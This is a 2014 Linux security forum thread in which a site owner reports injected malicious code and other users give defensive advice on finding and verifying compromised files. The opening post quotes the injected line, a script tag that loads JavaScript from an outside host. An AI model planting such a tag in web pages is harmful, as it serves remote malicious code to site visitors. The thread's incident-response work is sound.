LinuxQuestions.org
Welcome to the most active Linux Forum on the web.
Home Forums Tutorials Articles Register
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Security
User Name
Password
Linux - Security This forum is for all security related questions.
Questions, tips, system compromises, firewalls, etc. are all included here.

Notices


Reply
  Search this Thread
Old 02-28-2014, 07:19 AM   #1
adumith
Member
 
Registered: Feb 2013
Posts: 46

Rep: Reputation: Disabled
Question How to detect malicious code on linux


Greetings,

This time I want to ask you a special support; since yesterday I have had problems with the content of our system.

Investigating the situation we've found that someone have included in our maliciosus code contained this script <script src="http://csjq.hol.es/xs.js"/script> this one was Built with a tool called makeself.

Reading about this tool we found that makeself is a small shell script that generates a self-extractable compressed TAR archive from a directory. The resulting file appears as a shell script, and can be launched as is. The archive will then uncompress itself to a temporary directory and an arbitrary command will be executed (for example, an installation script).

So, can any body help me to identify what are the scripts or file that this tools generated?

Thanks in advance.
 
Old 02-28-2014, 09:55 AM   #2
linosaurusroot
Member
 
Registered: Oct 2012
Distribution: OpenSuSE,RHEL,Fedora,OpenBSD
Posts: 982
Blog Entries: 2

Rep: Reputation: 244Reputation: 244Reputation: 244
You could look for files with a ctime later than about the time of the hostile activity.

You could extract a tarfile once you have found it.

On a disposable system a trick for capturing self-extracting content is to have an append-only filesystem that you extract on and the code will fail to delete its traces. You could rig this using NFS or a kernel with unlink() not implemented. Directory attributes also work provided the extraction uses the directory in question.
 
Old 02-28-2014, 10:57 AM   #3
Habitual
LQ Veteran
 
Registered: Jan 2011
Location: Abingdon, VA
Distribution: Catalina
Posts: 9,374
Blog Entries: 37

Rep: Reputation: Disabled
Quote:
Originally Posted by adumith View Post
<script src="http://csjq.hol.es/xs.js"/script>
Now about the entire suspect code|line?
That is a very small piece of code and I'd think there would be more to it.
 
Old 02-28-2014, 11:36 AM   #4
metaschima
Senior Member
 
Registered: Dec 2013
Distribution: Slackware
Posts: 1,982

Rep: Reputation: 492Reputation: 492Reputation: 492Reputation: 492Reputation: 492
Some things you can try:

1) Use 'file' command to see if it is a binary file.
2) Use
Code:
grep '#!/bin/*.sh'
to see if it is a script, and then use 7zip to try and extract the file, and if it succeeds then it does contain an archive
Code:
if 7z t new.sh ; then echo "File contains archive"; fi
 
Old 03-03-2014, 06:43 PM   #5
byau
Member
 
Registered: Sep 2009
Location: Los Angeles, CA
Posts: 33

Rep: Reputation: 5
Use "file" to find out what kind of file it is. If ascii text or script you should be able to view it.

You can use "strings" to view any type of characters it can find, even in a binary.

Also, you can find out if any system files have been compromised (usually /bin or /usr/bin) by running rpm -qV. V = verify. It will tell you what files have been changed since original package installation. To view everything

rpm -qaV

This will take awhile

And of course you'll need someone linux-proficient to go through the output and know which files are supposed to have been changed since installation (e.g. /etc/passwd).

And you'll have to also then look in those files and see if changes are expected or not (who knows the proper users in /etc/passwd? )

But if it shows you for example that /bin/ls has changed since install, that is fishy
 
Old 03-04-2014, 08:00 AM   #6
sundialsvcs
LQ Guru
 
Registered: Feb 2004
Location: SE Tennessee, USA
Distribution: Gentoo, LFS
Posts: 10,659
Blog Entries: 4

Rep: Reputation: 3940Reputation: 3940Reputation: 3940Reputation: 3940Reputation: 3940Reputation: 3940Reputation: 3940Reputation: 3940Reputation: 3940Reputation: 3940Reputation: 3940
Nevermind what it is ... how did it get there?

If someone was capable of modifying your delivered web-page at all, then some part of your system has been compromised. (Or else you have a rogue employee ...)
 
1 members found this post helpful.
Old 03-04-2014, 01:06 PM   #7
Habitual
LQ Veteran
 
Registered: Jan 2011
Location: Abingdon, VA
Distribution: Catalina
Posts: 9,374
Blog Entries: 37

Rep: Reputation: Disabled
Quote:
Originally Posted by sundialsvcs View Post
how did it get there?
So much time wasted on what's it is or what's in it...who cares? All I'd need to know is I, or my system did not put it there and that makes it immediately suspect.

This is the task you SHOULD BE FOCUSED ON.

http://www.unmaskparasites.com/secur...www.domain.com
Pay direct attention to "External References"

sitecheck.sucuri.net/results/www.domain.com
http://evuln.com/tools/malware-scanner/www.domian.com
and
http://wepawet.cs.ucsb.edu/index.php (URL: field)

You may have (and I suspect if there's one, there's 1++)
 
  


Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
LXer: iScanner : Detect and remove malicious code from your webpages LXer Syndicated Linux News 0 02-03-2010 06:40 PM
Shell Script to Remove Malicious Code from Web Pages bahbahthelamb Linux - Enterprise 1 05-12-2009 06:10 PM
Malicious C code protection gdboling Programming 4 09-02-2003 06:14 PM

LinuxQuestions.org > Forums > Linux Forums > Linux - Security

All times are GMT -5. The time now is 04:34 AM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration